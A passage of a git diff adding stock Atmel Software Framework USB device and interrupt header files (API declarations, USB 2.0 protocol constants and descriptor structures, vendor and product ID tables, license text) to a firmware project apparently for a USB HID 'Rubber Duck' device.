otherwise \c 0. + */ +bool udd_ep_set_halt(udd_ep_id_t ep); + +/** + * \brief Clear the halted state of the endpoint \a ep + * + * After calling this function, any transaction on \a ep will + * be handled normally, i.e. a STALL handshake will not be sent, and + * the data toggle sequence will start at DATA0. + * + * \param ep The ID of the endpoint to be un-halted + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udd_ep_clear_halt(udd_ep_id_t ep); + +/** + * \brief Registers a callback to call when endpoint halt is cleared + * + * \param ep The ID of the endpoint to use + * \param callback NULL or function to call when endpoint halt is cleared + * + * \warning if the endpoint is not halted then the \a callback is called immediately. + * + * \return \c 1 if the register is accepted, otherwise \c 0. + */ +bool udd_ep_wait_stall_clear(udd_ep_id_t ep, + udd_callback_halt_cleared_t callback); + +/** + * \brief Allows to receive or send data on an endpoint + * + * The driver uses a specific DMA USB to transfer data + * from internal RAM to endpoint, if this one is available. + * When the transfer is finished or aborted (stall, reset, ...), the \a callback is called. + * The \a callback returns the transfer status and eventually the number of byte transfered. + * + * \param ep The ID of the endpoint to use + * \param b_shortpacket Enabled automatic short packet + * \param buf Buffer on Internal RAM to send or fill. + * It must be align, then use COMPILER_WORD_ALIGNED. + * \param buf_size Buffer size to send or fill + * \param callback NULL or function to call at the end of transfer + * + * \warning About \a b_shortpacket, for IN endpoint it means that a short packet + * (or a Zero Length Packet) will be sent to the USB line to properly close the usb + * transfer at the end of the data transfer. + * For Bulk and Interrupt OUT endpoint, it will automatically stop the transfer + * at the end of the data transfer (received short packet). + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ +bool udd_ep_run(udd_ep_id_t ep, bool b_shortpacket, + uint8_t * buf, iram_size_t buf_size, + udd_callback_trans_t callback); +/** + * \brief Aborts transfer on going on endpoint + * + * If a transfer is on going, then it is stopped and the callback registered is called to signal the end of transfer. + * + * \param ep The ID of the endpoint to use + * \param b_shortpacket Enabled automatic short packet + * \param buf Buffer on Internal RAM to send or fill + * \param buf_size Buffer size to send or fill + * \param callback NULL or function to call at the end of transfer + */ +void udd_ep_abort(udd_ep_id_t ep); + +#endif + +//@} + + +/** + * \name High speed test mode management + * + * The following functions allow the device to jump to a specific test mode required in high speed mode. + */ +//@{ +void udd_test_mode_j(void); +void udd_test_mode_k(void); +void udd_test_mode_se0_nak(void); +void udd_test_mode_packet(void); +//@} + + +/** + * \name UDC callbacks to provide for UDD + * + * The following callbacks are used by UDD. + */ +//@{ + +/** + * \brief Decodes and manages a setup request + * + * The driver call it when a SETUP packet is received. + * The \c udd_g_ctrlreq contains the data of SETUP packet. + * If this callback accepts the setup request then it must + * return \c 1 and eventually update \c udd_g_ctrlreq to send or receive data. + * + * \return \c 1 if the request is accepted, otherwise \c 0. + */ +extern bool udc_process_setup(void); + +/** + * \brief Reset the UDC + * + * The UDC must reset all configuration. + */ +extern void udc_reset(void); + +//@} + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDD_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udi.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udi.h new file mode 100755 index 0000000..4401c25 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/udc/udi.h @@ -0,0 +1,117 @@ +/** + * \file + * + * \brief Common API for USB Device Interface + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _UDI_H_ +#define _UDI_H_ + +#include "conf_usb.h" +#include "usb_protocol.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * \ingroup usb_device_group + * \defgroup udi_group USB Device Interface (UDI) + * The UDI provides a common API for all classes, + * and this is used by UDC for the main control of USB Device interface. + * @{ + */ + +/** + * \brief UDI API. + * + * The callbacks within this structure are called only by + * USB Device Controller (UDC) + * + * The udc_get_interface_desc() can be use by UDI to know the interface descriptor + * selected by UDC. + */ +typedef struct { + /** + * \brief Enable the interface. + * + * This function is called when the host selects a configuration + * to which this interface belongs through a Set Configuration + * request, and when the host selects an alternate setting of + * this interface through a Set Interface request. + * + * \return \c 1 if function was successfully done, otherwise \c 0. + */ + bool(*enable) (void); + /** + * \brief Disable the interface. + * + * This function is called when this interface is currently + * active, and + * - the host selects any configuration through a Set + * Configuration request, or + * - the host issues a USB reset, or + * - the device is detached from the host (i.e. Vbus is no + * longer present) + */ + void (*disable) (void); + /** + * \brief Handle a control request directed at an interface. + * + * This function is called when this interface is currently + * active and the host sends a SETUP request + * with this interface as the recipient. + * + * Use udd_g_ctrlreq to decode and response to SETUP request. + * + * \return \c 1 if this interface supports the SETUP request, otherwise \c 0. + */ + bool(*setup) (void); + /** + * \brief Returns the current setting of the selected interface. + * + * This function is called when UDC when know alternate setting of selected interface. + * + * \return alternate setting of selected interface + */ + uint8_t(*getsetting) (void); +} udi_api_t; + +//@} + +#ifdef __cplusplus +} +#endif +#endif // _UDI_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/usb_atmel.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/usb_atmel.h new file mode 100755 index 0000000..4bb310c --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/usb_atmel.h @@ -0,0 +1,146 @@ +/** + * \file + * + * \brief All USB VIDs and PIDs from Atmel AVR applications + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _USB_ATMEL_H_ +#define _USB_ATMEL_H_ + +/** + * \defgroup usb_group USB Stack + * + * This stack includes the USB Device Stack, USB Host Stack and common + * definitions. + * @{ + */ + +//! @} + +/** + * \ingroup usb_group + * \defgroup usb_atmel_ids_group Atmel USB Identifiers + * + * This module defines Atmel PID and VIDs constants. + * + * @{ + */ + +//! \name Vendor Identifier assigned by USB org to ATMEL +#define USB_VID_ATMEL 0x03EB + + +//! \name Product Identifier assigned by ATMEL to AVR applications +//! @{ + +//! \name The range from 2000h to 20FFh is reserved to the old PID for C51, MEGA, and others. +//! @{ +#define USB_PID_ATMEL_MEGA_HIDGENERIC 0x2013 +#define USB_PID_ATMEL_MEGA_HIDKEYBOARD 0x2017 +#define USB_PID_ATMEL_MEGA_CDC 0x2018 +#define USB_PID_ATMEL_MEGA_AUDIO_IN 0x2019 +#define USB_PID_ATMEL_MEGA_MS 0x201A +#define USB_PID_ATMEL_MEGA_AUDIO_IN_OUT 0x201B +#define USB_PID_ATMEL_MEGA_HIDMOUSE 0x201C +#define USB_PID_ATMEL_MEGA_HIDMOUSE_CERTIF_U4 0x201D +#define USB_PID_ATMEL_MEGA_CDC_MULTI 0x201E +#define USB_PID_ATMEL_MEGA_MS_HIDMS_HID_USBKEY 0x2022 +#define USB_PID_ATMEL_MEGA_MS_HIDMS_HID_STK525 0x2023 +#define USB_PID_ATMEL_MEGA_MS_2 0x2029 +#define USB_PID_ATMEL_MEGA_MS_HIDMS 0x202A +#define USB_PID_ATMEL_MEGA_MS_3 0x2032 +#define USB_PID_ATMEL_MEGA_LIBUSB 0x2050 +//! @} + +//! \name The range 2300h to 23FFh is reserved to PIDs for demo from ASF1.7=> +//! @{ +#define USB_PID_ATMEL_UC3_ENUM 0x2300 +#define USB_PID_ATMEL_UC3_MS 0x2301 +#define USB_PID_ATMEL_UC3_MS_SDRAM_LOADER 0x2302 +#define USB_PID_ATMEL_UC3_EVK1100_CTRLPANEL 0x2303 +#define USB_PID_ATMEL_UC3_HID 0x2304 +#define USB_PID_ATMEL_UC3_EVK1101_CTRLPANEL_HID 0x2305 +#define USB_PID_ATMEL_UC3_EVK1101_CTRLPANEL_HID_MS 0x2306 +#define USB_PID_ATMEL_UC3_CDC 0x2307 +#define USB_PID_ATMEL_UC3_AUDIO_MICRO 0x2308 +#define USB_PID_ATMEL_UC3_CDC_DEBUG 0x2310 // Virtual Com (debug interface) on EVK11xx +#define USB_PID_ATMEL_UC3_AUDIO_SPEAKER_MICRO 0x2311 +#define USB_PID_ATMEL_UC3_CDC_MSC 0x2312 +//! @} + +//! \name The range 2400h to 24FFh is reserved to PIDs for common AVR demos from ASF2.0<= +//! @{ +#define USB_PID_ATMEL_AVR_HIDMOUSE 0x2400 +#define USB_PID_ATMEL_AVR_HIDKEYBOARD 0x2401 +#define USB_PID_ATMEL_AVR_HIDGENERIC 0x2402 +#define USB_PID_ATMEL_AVR_MSC 0x2403 +#define USB_PID_ATMEL_AVR_CDC 0x2404 +#define USB_PID_ATMEL_AVR_PHDC 0x2405 +#define USB_PID_ATMEL_AVR_MSC_HIDMOUSE 0x2420 +#define USB_PID_ATMEL_AVR_MSC_HIDS_CDC 0x2421 +#define USB_PID_ATMEL_AVR_XPLAIN_BC_POWERONLY 0x2430 +#define USB_PID_ATMEL_AVR_XPLAIN_BC_TERMINAL 0x2431 +#define USB_PID_ATMEL_AVR_XPLAIN_BC_TOUCH 0x2432 +#define USB_PID_ATMEL_AVR_AUDIO_SPEAKER 0x2433 +//! @} + +//! \name The range 2F00h to 2FFFh is reserved to official PIDs for AVR bootloaders +//! Note, !!!! don't use this range for demos or examples !!!! +//! @{ +#define USB_PID_ATMEL_DFU_ATUC3D 0x2FE9 +#define USB_PID_ATMEL_DFU_AT32UC3C 0x2FEB +#define USB_PID_ATMEL_DFU_ATMEGA8U2 0x2FEE +#define USB_PID_ATMEL_DFU_ATMEGA16U2 0x2FEF +#define USB_PID_ATMEL_DFU_ATMEGA32U2 0x2FF0 +#define USB_PID_ATMEL_DFU_AT32UC3A3 0x2FF1 +#define USB_PID_ATMEL_DFU_ATMEGA32U6 0x2FF2 +#define USB_PID_ATMEL_DFU_ATMEGA16U4 0x2FF3 +#define USB_PID_ATMEL_DFU_ATMEGA32U4 0x2FF4 +#define USB_PID_ATMEL_DFU_AT32AP7200 0x2FF5 +#define USB_PID_ATMEL_DFU_AT32UC3B 0x2FF6 +#define USB_PID_ATMEL_DFU_AT90USB82 0x2FF7 +#define USB_PID_ATMEL_DFU_AT32UC3A 0x2FF8 +#define USB_PID_ATMEL_DFU_AT90USB64 0x2FF9 +#define USB_PID_ATMEL_DFU_AT90USB162 0x2FFA +#define USB_PID_ATMEL_DFU_AT90USB128 0x2FFB +// 2FFCh to 2FFFh used by C51 family products +//! @} + +//! @} + +//! @} + + +#endif // _USB_ATMEL_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/usb_protocol.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/usb_protocol.h new file mode 100755 index 0000000..91745bf --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/usb/usb_protocol.h @@ -0,0 +1,403 @@ +/** + * \file + * + * \brief USB protocol definitions. + * + * This file contains the USB definitions and data structures provided by the + * USB 2.0 specification. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _USB_PROTOCOL_H_ +#define _USB_PROTOCOL_H_ + +#include "usb_atmel.h" + +/** + * \ingroup usb_group + * \defgroup usb_protocol_group USB Protocol Definitions + * + * This module defines constants and data structures provided by the USB + * 2.0 specification. + * + * @{ + */ + +//! Value for field bcdUSB +#define USB_V2_0 0x0200 //!< USB Specification version 2.00 + +/*! \name Generic definitions (Class, subclass and protocol) + */ +//! @{ +#define NO_CLASS 0x00 +#define NO_SUBCLASS 0x00 +#define NO_PROTOCOL 0x00 +//! @} + +//! \name IAD (Interface Association Descriptor) constants +//! @{ +#define CLASS_IAD 0xEF +#define SUB_CLASS_IAD 0x02 +#define PROTOCOL_IAD 0x01 +//! @} + +//! \name Apple VID & PID for host application +//! @{ +#define USB_VID_APPLE 0x05AC +#define USB_PID_IPOD 0x1200 +#define USB_PID_IPOD_SHUFFLE 0x1300 +//! @} + +/** + * \brief USB request data transfer direction (bmRequestType) + */ +#define USB_REQ_DIR_OUT (0<<7) //!< Host to device +#define USB_REQ_DIR_IN (1<<7) //!< Device to host +#define USB_REQ_DIR_MASK (1<<7) //!< Mask + +/** + * \brief USB request types (bmRequestType) + */ +#define USB_REQ_TYPE_STANDARD (0<<5) //!< Standard request +#define USB_REQ_TYPE_CLASS (1<<5) //!< Class-specific request +#define USB_REQ_TYPE_VENDOR (2<<5) //!< Vendor-specific request +#define USB_REQ_TYPE_MASK (3<<5) //!< Mask + +/** + * \brief USB recipient codes (bmRequestType) + */ +#define USB_REQ_RECIP_DEVICE (0<<0) //!< Recipient device +#define USB_REQ_RECIP_INTERFACE (1<<0) //!< Recipient interface +#define USB_REQ_RECIP_ENDPOINT (2<<0) //!< Recipient endpoint +#define USB_REQ_RECIP_OTHER (3<<0) //!< Recipient other +#define USB_REQ_RECIP_MASK (0x1F) //!< Mask + +/** + * \brief Standard USB requests (bRequest) + */ +enum usb_reqid { + USB_REQ_GET_STATUS = 0, + USB_REQ_CLEAR_FEATURE = 1, + USB_REQ_SET_FEATURE = 3, + USB_REQ_SET_ADDRESS = 5, + USB_REQ_GET_DESCRIPTOR = 6, + USB_REQ_SET_DESCRIPTOR = 7, + USB_REQ_GET_CONFIGURATION = 8, + USB_REQ_SET_CONFIGURATION = 9, + USB_REQ_GET_INTERFACE = 10, + USB_REQ_SET_INTERFACE = 11, + USB_REQ_SYNCH_FRAME = 12, +}; + +/** + * \brief Standard USB device status flags + * + */ +enum usb_device_status { + USB_DEV_STATUS_BUS_POWERED = 0, + USB_DEV_STATUS_SELF_POWERED = 1, + USB_DEV_STATUS_REMOTEWAKEUP = 2 +}; + +/** + * \brief Standard USB Interface status flags + * + */ +enum usb_interface_status { + USB_IFACE_STATUS_RESERVED = 0 +}; + +/** + * \brief Standard USB endpoint status flags + * + */ +enum usb_endpoint_status { + USB_EP_STATUS_HALTED = 1, +}; + +/** + * \brief Standard USB device feature flags + * + * \note valid for SetFeature request. + */ +enum usb_device_feature { + USB_DEV_FEATURE_REMOTE_WAKEUP = 1, //!< Remote wakeup enabled + USB_DEV_FEATURE_TEST_MODE = 2, //!< USB test mode + USB_DEV_FEATURE_OTG_B_HNP_ENABLE = 3, + USB_DEV_FEATURE_OTG_A_HNP_SUPPORT = 4, + USB_DEV_FEATURE_OTG_A_ALT_HNP_SUPPORT = 5 +}; + +/** + * \brief Test Mode possible on HS USB device + * + * \note valid for USB_DEV_FEATURE_TEST_MODE request. + */ +enum usb_device_hs_test_mode { + USB_DEV_TEST_MODE_J = 1, + USB_DEV_TEST_MODE_K = 2, + USB_DEV_TEST_MODE_SE0_NAK = 3, + USB_DEV_TEST_MODE_PACKET = 4, + USB_DEV_TEST_MODE_FORCE_ENABLE = 5, +}; + +/** + * \brief Standard USB endpoint feature/status flags + */ +enum usb_endpoint_feature { + USB_EP_FEATURE_HALT = 0, +}; + +/** + * \brief Standard USB Test Mode Selectors + */ +enum usb_test_mode_selector { + USB_TEST_J = 0x01, + USB_TEST_K = 0x02, + USB_TEST_SE0_NAK = 0x03, + USB_TEST_PACKET = 0x04, + USB_TEST_FORCE_ENABLE = 0x05, +}; + +/** + * \brief Standard USB descriptor types + */ +enum usb_descriptor_type { + USB_DT_DEVICE = 1, + USB_DT_CONFIGURATION = 2, + USB_DT_STRING = 3, + USB_DT_INTERFACE = 4, + USB_DT_ENDPOINT = 5, + USB_DT_DEVICE_QUALIFIER = 6, + USB_DT_OTHER_SPEED_CONFIGURATION = 7, + USB_DT_INTERFACE_POWER = 8, + USB_DT_OTG = 9, + USB_DT_IAD = 0x0B, +}; + +/** + * \brief Standard USB endpoint transfer types + */ +enum usb_ep_type { + USB_EP_TYPE_CONTROL = 0x00, + USB_EP_TYPE_ISOCHRONOUS = 0x01, + USB_EP_TYPE_BULK = 0x02, + USB_EP_TYPE_INTERRUPT = 0x03, + USB_EP_TYPE_MASK = 0x03, +}; + +/** + * \brief Standard USB language IDs for string descriptors + */ +enum usb_langid { + USB_LANGID_EN_US = 0x0409, //!< English (United States) +}; + +/** + * \brief Mask selecting the index part of an endpoint address + */ +#define USB_EP_ADDR_MASK 0x0f +/** + * \brief Endpoint transfer direction is IN + */ +#define USB_EP_DIR_IN 0x80 +/** + * \brief Endpoint transfer direction is OUT + */ +#define USB_EP_DIR_OUT 0x00 + +/** + * \brief Maximum length in bytes of a USB descriptor + * + * The maximum length of a USB descriptor is limited by the 8-bit + * bLength field. + */ +#define USB_MAX_DESC_LEN 255 + +/* + * 2-byte alignment requested for all USB structures. + */ +COMPILER_PACK_SET(1); + +/** + * \brief A USB Device SETUP request + * + * The data payload of SETUP packets always follows this structure. + */ +typedef struct { + uint8_t bmRequestType; + uint8_t bRequest; + le16_t wValue; + le16_t wIndex; + le16_t wLength; +} usb_setup_req_t; + +/** + * \brief Standard USB device descriptor stucture + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + le16_t bcdUSB; + uint8_t bDeviceClass; + uint8_t bDeviceSubClass; + uint8_t bDeviceProtocol; + uint8_t bMaxPacketSize0; + le16_t idVendor; + le16_t idProduct; + le16_t bcdDevice; + uint8_t iManufacturer; + uint8_t iProduct; + uint8_t iSerialNumber; + uint8_t bNumConfigurations; +} usb_dev_desc_t; + +/** + * \brief Standard USB device qualifier descriptor structure + * + * This descriptor contains information about the device when running at + * the "other" speed (i.e. if the device is currently operating at high + * speed, this descriptor can be used to determine what would change if + * the device was operating at full speed.) + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + le16_t bcdUSB; + uint8_t bDeviceClass; + uint8_t bDeviceSubClass; + uint8_t bDeviceProtocol; + uint8_t bMaxPacketSize0; + uint8_t bNumConfigurations; + uint8_t bReserved; +} usb_dev_qual_desc_t; + + +/** + * \brief Standard USB Interface Association Descriptor structure + */ +typedef struct { + uint8_t bLength; //!< size of this descriptor in bytes + uint8_t bDescriptorType; //!< INTERFACE descriptor type + uint8_t bFirstInterface; //!< Number of interface + uint8_t bInterfaceCount; //!< value to select alternate setting + uint8_t bFunctionClass; //!< Class code assigned by the USB + uint8_t bFunctionSubClass; //!< Sub-class code assigned by the USB + uint8_t bFunctionProtocol; //!< Protocol code assigned by the USB + uint8_t iFunction; //!< Index of string descriptor +} usb_association_desc_t; + + +/** + * \brief Standard USB configuration descriptor structure + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + le16_t wTotalLength; + uint8_t bNumInterfaces; + uint8_t bConfigurationValue; + uint8_t iConfiguration; + uint8_t bmAttributes; + uint8_t bMaxPower; +} usb_conf_desc_t; + + +#define USB_CONFIG_ATTR_MUST_SET (1 << 7) //!< Must always be set +#define USB_CONFIG_ATTR_BUS_POWERED (0 << 6) //!< Bus-powered +#define USB_CONFIG_ATTR_SELF_POWERED (1 << 6) //!< Self-powered +#define USB_CONFIG_ATTR_REMOTE_WAKEUP (1 << 5) //!< remote wakeup supported + +#define USB_CONFIG_MAX_POWER(ma) (((ma) + 1) / 2) //!< Max power in mA + +/** + * \brief Standard USB association descriptor structure + */ +typedef struct { + uint8_t bLength; //!< Size of this descriptor in bytes + uint8_t bDescriptorType; //!< Interface descriptor type + uint8_t bFirstInterface; //!< Number of interface + uint8_t bInterfaceCount; //!< value to select alternate setting + uint8_t bFunctionClass; //!< Class code assigned by the USB + uint8_t bFunctionSubClass; //!< Sub-class code assigned by the USB + uint8_t bFunctionProtocol; //!< Protocol code assigned by the USB + uint8_t iFunction; //!< Index of string descriptor +} usb_iad_desc_t; + +/** + * \brief Standard USB interface descriptor structure + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + uint8_t bInterfaceNumber; + uint8_t bAlternateSetting; + uint8_t bNumEndpoints; + uint8_t bInterfaceClass; + uint8_t bInterfaceSubClass; + uint8_t bInterfaceProtocol; + uint8_t iInterface; +} usb_iface_desc_t; + +/** + * \brief Standard USB endpoint descriptor stcuture + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + uint8_t bEndpointAddress; + uint8_t bmAttributes; + le16_t wMaxPacketSize; + uint8_t bInterval; +} usb_ep_desc_t; + + +/** + * \brief A standard USB string descriptor sructure + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; +} usb_str_desc_t; + +typedef struct { + usb_str_desc_t desc; + le16_t string[1]; +} usb_str_lgid_desc_t; + +COMPILER_PACK_RESET(); + +//! @} + +#endif /* _USB_PROTOCOL_H_ */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/utils/interrupt.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/utils/interrupt.h new file mode 100755 index 0000000..03d1c8e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/utils/interrupt.h @@ -0,0 +1,120 @@ +/** + * \file + * + * \brief Global interrupt management for 8- and 32-bit AVR + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef UTILS_INTERRUPT_H +#define UTILS_INTERRUPT_H + +#include+ +#if XMEGA +# include "interrupt/interrupt_avr8.h" +#elif UC3 +# include "interrupt/interrupt_avr32.h" +#else +# error Unsupported device. +#endif + +/** + * \defgroup interrupt_group Global interrupt management + * + * This is a driver for global enabling and disabling of interrupts. + * + * @{ + */ + +//! \name Global interrupt flags +//@{ +/** + * \typedef irqflags_t + * \brief Type used for holding state of interrupt flag + */ + +/** + * \def cpu_irq_enable + * \brief Enable interrupts globally + */ + +/** + * \def cpu_irq_disable + * \brief Disable interrupts globally + */ + +/** + * \fn irqflags_t cpu_irq_save(void) + * \brief Get and clear the global interrupt flags + * + * Use in conjunction with \ref cpu_irq_restore. + * + * \return Current state of interrupt flags. + * + * \note This function leaves interrupts disabled. + */ + +/** + * \fn void cpu_irq_restore(irqflags_t flags) + * \brief Restore global interrupt flags + * + * Use in conjunction with \ref cpu_irq_save. + * + * \param flags State to set interrupt flag to. + */ + +/** + * \fn bool cpu_irq_is_enabled_flags(irqflags_t flags) + * \brief Check if interrupts are globally enabled in supplied flags + * + * \param flags Currents state of interrupt flags. + * + * \return True if interrupts are enabled. + */ + +/** + * \def cpu_irq_is_enabled + * \brief Check if interrupts are globally enabled + * + * \return True if interrupts are enabled. + */ +//@} + +//! @} + +/** + * \ingroup interrupt_group + * \defgroup interrupt_deprecated_group Deprecated interrupt definitions + */ + +#endif /* UTILS_INTERRUPT_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/utils/interrupt/interrupt_avr32.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/utils/interrupt/interrupt_avr32.h new file mode 100755 index 0000000..b7fdc98 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/utils/interrupt/interrupt_avr32.h @@ -0,0 +1,310 @@ +/** + * \file + * + * \brief Global interrupt management for 32-bit AVR + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. 